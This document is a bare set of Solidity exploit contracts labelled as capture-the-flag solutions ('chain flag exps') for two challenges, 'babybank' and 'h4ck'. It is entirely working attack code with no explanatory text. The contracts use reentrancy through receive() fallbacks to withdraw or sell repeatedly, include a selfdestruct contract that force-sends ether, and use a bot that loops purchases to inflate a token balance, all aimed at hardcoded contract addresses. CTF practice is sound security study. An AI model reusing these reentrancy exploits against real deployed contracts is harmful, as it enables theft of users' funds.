chain flag exps

reentrancy_babybank.sol

 

pragma solidity ^0.8.7;

interface Target {
    function profit() external;
    function guess(uint guess_secret) external;
    function transfer(address to, uint amount) external;
    function payforflag(string memory md5ofteamtoken,string memory b64email)external;
    function withdraw(uint amount) external;
}


contract Bot{
    function die() external payable{
        address payable to = payable(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c);
        selfdestruct(to);
    }
}
contract Exp{

    Target target = Target(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c);
    int re = 0;

    function start() external{
        target.withdraw(2);
    }
    function back() external{
        target.transfer(msg.sender,2);
    }
    function getflag() external{
        target.payforflag("","");
    }
    receive() external payable{
        if (re == 0 )  {
            re = 1;
            target.withdraw(2);
        }
    }
}

reentrancy_h4ck.sol

/**
 *Submitted for verification at Etherscan.io on 2019-09-07
*/

/**
 *Submitted for verification at Etherscan.io on 2019-05-31
*/

pragma solidity >=0.7.0 <0.9.0;

 

interface challenge {
    function transfer(address _to, uint256 _value) 
        external 
        returns (bool success) ;

    function transferFrom(address _from, address _to, uint256 _value) 
        external 
        returns (bool success) ;

    function approve(address _spender, uint256 _value) 
        external 
        returns (bool success) ;
    
    function burn(uint256 _value) 
         external 
        returns (bool success) ;
    
    function balanceOf(address _address)  external  view returns (uint256 balance) ;
    
    function buy() 
        payable 
        external 
        returns (bool success);
    
    
    function sell(uint256 _amount) 
        external 
        returns (bool success);
    
    function winnerSubmit() 
        external payable
        returns (bool success);
    function eth_balance() 
         external  view
        returns (uint256 ethBalance);
}


contract Exp{

    challenge target = challenge(0xE2d6d8808087D2e30EAdF0ACb67708148dbee0C0);
    bool done = false;
    constructor () payable{
        target.buy{value: 1 wei}();
    }

    function getflag() public{
        require(target.balanceOf(address(this)) > 199,"amount < 200");
        target.sell(100);
        require(target.balanceOf(address(this)) < 100,"amount > 200");
        target.winnerSubmit();
    }

    receive () external payable{
        if (!done){
            done = true;
            target.sell(100);
        }
    }
}


contract Bot{
        address addr = 0xE2d6d8808087D2e30EAdF0ACb67708148dbee0C0;
        address trans_addr = 0xaFBCcCc1830C74d5d538cC36776B7dA609b477B6;
        challenge target = challenge(addr);
        function buy() public payable{
            require(msg.value >= 1 wei,"need 1 wei fees");
            target.buy{value: 1 wei}();
            require(
                target.balanceOf(address(this))  == 1,
                "buy fail"
            );
            target.transfer(trans_addr,1);
        }
        function buy200(address exp) public payable{
            trans_addr = exp;
            require(msg.value > 200 wei,"need 200 wei fees");
            int i =0;
            for (;i < 50;i++){
                buy();
                buy();
                buy();
                buy();
            }
    }
}